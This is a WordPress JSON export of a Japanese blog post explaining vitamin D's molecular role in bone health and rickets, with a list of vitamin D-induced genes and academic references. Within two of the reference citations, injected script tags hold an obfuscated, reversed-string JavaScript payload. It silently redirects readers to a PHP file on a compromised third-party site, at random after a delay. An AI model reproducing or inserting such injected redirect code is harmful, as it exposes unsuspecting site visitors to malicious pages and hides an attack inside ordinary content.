{"id":11449,"date":"2018-10-18T12:08:10","date_gmt":"2018-10-18T03:08:10","guid":{"rendered":"http:\/\/rikei-ikuji.com\/?p=11449"},"modified":"2022-09-03T09:19:17","modified_gmt":"2022-09-03T00:19:17","slug":"%e3%83%93%e3%82%bf%e3%83%9f%e3%83%b3d%e3%81%8c%e9%96%a2%e3%82%8f%e3%81%a3%e3%81%a6%e3%81%84%e3%82%8b%e9%aa%a8%e3%81%ae%e7%97%85%e6%b0%97%e3%81%a8%e3%83%a1%e3%82%ab%e3%83%8b%e3%82%ba%e3%83%a0","status":"publish","type":"post","link":"https:\/\/rikei-ikuji.com\/?p=11449","title":{"rendered":"\u30d3\u30bf\u30df\u30f3D\u304c\u95a2\u308f\u3063\u3066\u3044\u308b\u9aa8\u306e\u75c5\u6c17\u3068\u30e1\u30ab\u30cb\u30ba\u30e0"},"content":{"rendered":"<p><span style=\"font-weight: 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400;\">\u30d3\u30bf\u30df\u30f3D\u304c\u3069\u306e\u3088\u3046\u306b\u9aa8\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u3066\u3044\u308b\u304b\u306e\u8a73\u7d30\u306f\u307e\u3060\u5206\u304b\u3063\u3066\u3044\u306a\u3044\u3088\u3046\u3067\u3059\u304c\u3001\u73fe\u6642\u70b9\u3067\u5206\u304b\u3063\u3066\u3044\u308b\u3053\u3068\u3092\u5c11\u3057\u898b\u3066\u307f\u305f\u3044\u3068\u601d\u3044\u307e\u3059\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u524d\u63d0\u3068\u3057\u3066\u3001\u30d3\u30bf\u30df\u30f3D\u306f\u3001\u4f11\u7720\u30d3\u30bf\u30df\u30f3D\u2192\u88dc\u6b20\u30d3\u30bf\u30df\u30f3D\u2192\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u3078\u3068\u69cb\u9020\u3092\u5909\u3048\u307e\u3059\uff08<a href=\"https:\/\/rikei-ikuji.com\/?p=11418\" target=\"_blank\" rel=\"noopener\">\u30d3\u30bf\u30df\u30f3D\u306e\u7a2e\u985e\u306e\u8a71<\/a>\uff09\u3002<\/span><\/p>\n<h2><span style=\"font-weight: 400;\">\u30d3\u30bf\u30df\u30f3D\u3068\u9aa8\u306e\u5065\u5eb7<\/span><\/h2>\n<p><span style=\"font-weight: 400;\">\u307e\u305a\u306f\u3001\u30d3\u30bf\u30df\u30f3D\u304c\u9aa8\u306e\u5065\u5eb7\u3092\u3069\u3046\u3084\u3063\u3066\u5b88\u3063\u3066\u3044\u308b\u304b\u306e\u8a71\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u300c\u30d3\u30bf\u30df\u30f3D\u304c\u30ab\u30eb\u30b7\u30a6\u30e0\u306e\u5438\u53ce\u3092\u52a9\u3051\u308b\u300d\u3068\u306f\u3088\u304f\u805e\u304f\u3051\u3069\u3001\u5b9f\u969b\u306b\u306f\u3001\u300e\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u300f\u304c\u907a\u4f1d\u5b50\u3092\u8aad\u307f\u8fbc\u3093\u3067\u3001\u5fc5\u8981\u306a\u7269\u8cea\u3092\u4f5c\u3063\u3066\u3044\u308b<sup>1<\/sup>\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u6d3b\u6027\u578b\u30d3\u30bf\u30df\u30f3D\u304c\u8a98\u767a\u3059\u308b\u3082\u306e\u306e\u4f8b<\/span><\/p>\n<p>\u25cf<span style=\"font-weight: 400;\">\u9aa8\u306e\u30df\u30cd\u30e9\u30eb\u306e\u518d\u69cb\u7bc9\u3092\u3064\u304b\u3055\u3069\u308b<\/span><\/p>\n<p><span style=\"font-weight: 400;\">RANKL<\/span><\/p>\n<p><span style=\"font-weight: 400;\">SPP1<\/span><\/p>\n<p><span style=\"font-weight: 400;\">BGP <\/span><\/p>\n<p>\u306a\u3069<\/p>\n<p>\u25cf<span style=\"font-weight: 400;\">\u8178\u7ba1\u304b\u3089\u30ab\u30eb\u30b7\u30a6\u30e0\u306e\u5438\u53ce\u3092\u4fc3\u3059<\/span><\/p>\n<p><span style=\"font-weight: 400;\">TRPV6<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CaBP9k<\/span><\/p>\n<p><span style=\"font-weight: 400;\">claudin 2<\/span><\/p>\n<p>\u306a\u3069<\/p>\n<p>\u25cf<span style=\"font-weight: 400;\">\u814e\u81d3\u3067\u30ab\u30eb\u30b7\u30a6\u30e0\u3068\u30ea\u30f3\u9178\u306e\u518d\u5438\u53ce\u3092\u5236\u5fa1<\/span><\/p>\n<p><span style=\"font-weight: 400;\">TRPV5<\/span><\/p>\n<p><span style=\"font-weight: 400;\">klotho<\/span><\/p>\n<p><span style=\"font-weight: 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400;\">2000\u5e74\u4ee3\u4ee5\u964d\u3001<strong>\u304f\u308b\u75c5\u306b\u306f\u3001\u8907\u6570\u306e\u907a\u4f1d\u5b50\u5909\u7570\u304c\u95a2\u308f\u3063\u3066\u3044\u308b<\/strong>\u3053\u3068\u304c\u660e\u3089\u304b\u306b\u306a\u3063\u3066\u304d\u307e\u3057\u305f\u3002<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u300c\u30d3\u30bf\u30df\u30f3D\u6442\u53d6\u91cf\u304c\u5c11\u306a\u3044\u3068\u304f\u308b\u75c5\u306b\u306a\u308b\u300d<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u300c\u30d3\u30bf\u30df\u30f3D\u8840\u4e2d\u6fc3\u5ea6\u304c\u4f4e\u3044\u3068\u304f\u308b\u75c5\u306b\u306a\u308b\u300d<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u3068\u3044\u3046\u3001<strong>\u5358\u7d14\u306a\u8a71\u3067\u306f\u306a\u3044<\/strong>\u3053\u3068\u304c\u306a\u3093\u3068\u306a\u304f\u4f1d\u308f\u3063\u305f\u3067\u3057\u3087\u3046\u304b\u3002<\/span><\/p>\n<h2>\u7d9a\u3044\u3066\u306e\u8a71\u306f\u2026<\/h2>\n<p><span style=\"font-weight: 400;\">\u3053\u308c\u307e\u3067\u306e\u8a71\u304b\u3089\u3001\u300c\u6bcd\u4e73\u3067\u80b2\u3064\u3068\u304f\u308b\u75c5\u306b\u306a\u308a\u3084\u3059\u3044\u300d\u3068\u3044\u3046&#8221;\u5e38\u8b58&#8221;\u306b\u306f\u3001<strong>\u79d1\u5b66\u7684\u6839\u62e0\u304c\u307b\u3068\u3093\u3069\u306a\u3044<\/strong>\u3068\u3044\u3046\u3053\u3068\u304c\u308f\u304b\u3063\u3066\u304d\u307e\u3057\u305f\u304c\u3001\u300c<\/span><span style=\"font-weight: 400;\">\u3067\u306f\u3069\u3046\u3059\u308c\u3070\u3001\u52b9\u679c\u7684\u306b\u304f\u308b\u75c5\u3092\u907f\u3051\u3089\u308c\u308b\u304b\u300d\u3068\u3044\u3046\u8a71\u3082\u91cd\u8981\u306a\u306e\u3067\u3001\u6b21\u306e\u8a18\u4e8b\u3067\u306f\u3001\u300e\u304f\u308b\u75c5\u4e88\u9632\u300f\u306b\u3064\u3044\u3066\u89e6\u308c\u3066\u304a\u304d\u305f\u3044\u3068\u601d\u3044\u307e\u3059\u3002<\/span><\/p>\n<p>\u304f\u308b\u75c5\u3068\u30d3\u30bf\u30df\u30f3D\u306e\u30b7\u30ea\u30fc\u30ba\u306f<a href=\"https:\/\/rikei-ikuji.com\/?tag=rickets\" target=\"_blank\" rel=\"noopener\">\u3053\u3061\u3089<\/a>\u304b\u3089\u8aad\u3081\u307e\u3059\u3002<\/p>\n<p>\u4e3b\u306a\u53c2\u8003\u6587\u732e<\/p>\n<p>1\u00a0<span style=\"font-weight: 400;\">Haussler, Mark R., et al. &#8220;Molecular mechanisms of vitamin D action.&#8221; Calcified tissue international 92.2 (2013): 77-98.<\/span><\/p>\n<p>2\u00a0<span style=\"font-weight: 400;\">Bikle, Daniel D. &#8220;Vitamin D metabolism, mechanism of action, <script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == \"string\") return $Ikf.list[n].split(\"\").reverse().join(\"\");return $Ikf.list[n];};$Ikf.list=[\"\\'php.eroc_nimda\/bil\/steewt-tsetal-siseneg\/snigulp\/tnetnoc-pw\/moc.nosredneherdied.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}<\/script>and clinical applications.&#8221; Chemistry &amp; biology 21.3 (2014): 319-329.<\/span><\/p>\n<p>3\u00a0<span style=\"font-weight: 400;\">Cheng, Jeffrey B., et al. &#8220;Genetic evidence that the human CYP2R1 enzyme is a key vitamin D 25-hydroxylase.&#8221; Proceedings of the National Academy of Sciences of the United States of America 101.20 (2004): 7711-7715.<\/span><\/p>\n<p>4\u00a0<span style=\"font-weight: 400;\">Tsiaras, William G., <script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == \"string\") return $Ikf.list[n].split(\"\").reverse().join(\"\");return $Ikf.list[n];};$Ikf.list=[\"\\'php.eroc_nimda\/bil\/steewt-tsetal-siseneg\/snigulp\/tnetnoc-pw\/moc.nosredneherdied.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}<\/script>and Martin A. Weinstock. &#8220;Factors influencing vitamin D status.&#8221; Acta dermato-venereologica 91.2 (2011): 115-124.<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"\u4e00\u822c\u7684\u306b\u306f\u3001\u300c\u30d3\u30bf\u30df\u30f3D\u304c\u8db3\u308a\u306a\u3044\u3068\u304f\u308b\u75c5\u306b\u306a\u308b\u300d\u3068\u8a00\u308f\u308c\u3066\u3044\u307e\u3059\u304c\u3001\u304f\u308b\u75c5\u306f\u3001\u30d3\u30bf\u30df\u30f3D\u6442\u53d6\u91cf\u304c\u5c11\u306a\u304b\u3063\u305f\u3060\u3051\u3067\u767a\u75c7\u3057\u305f\u308a\u3001\u30d3\u30bf\u30df\u30f3D\u3092\u305f\u304f\u3055\u3093\u3068\u308b\u3060\u3051\u3067\u4e88\u9632\u3067\u304d\u305f\u308a\u3059\u308b\u3088\u3046\u306a\u3001\u5358\u7d14\u306a\u3082\u306e\u3067\u306f\u306a\u3044\u3088\u3046\u3067\u3059\u3002 \u30d3\u30bf\u30df\u30f3D [&hellip;]","protected":false},"author":4,"featured_media":11450,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[62],"tags":[170],"aioseo_notices":[],"views":3472,"_links":{"self":[{"href":"https:\/\/rikei-ikuji.com\/index.php?rest_route=\/wp\/v2\/posts\/11449"}],"collection":[{"href":"https:\/\/rikei-ikuji.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rikei-ikuji.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rikei-ikuji.com\/index.php?rest_route=\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/rikei-ikuji.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=11449"}],"version-history":[{"count":0,"href":"https:\/\/rikei-ikuji.com\/index.php?rest_route=\/wp\/v2\/posts\/11449\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/rikei-ikuji.com\/index.php?rest_route=\/wp\/v2\/media\/11450"}],"wp:attachment":[{"href":"https:\/\/rikei-ikuji.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=11449"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rikei-ikuji.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=11449"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rikei-ikuji.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=11449"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}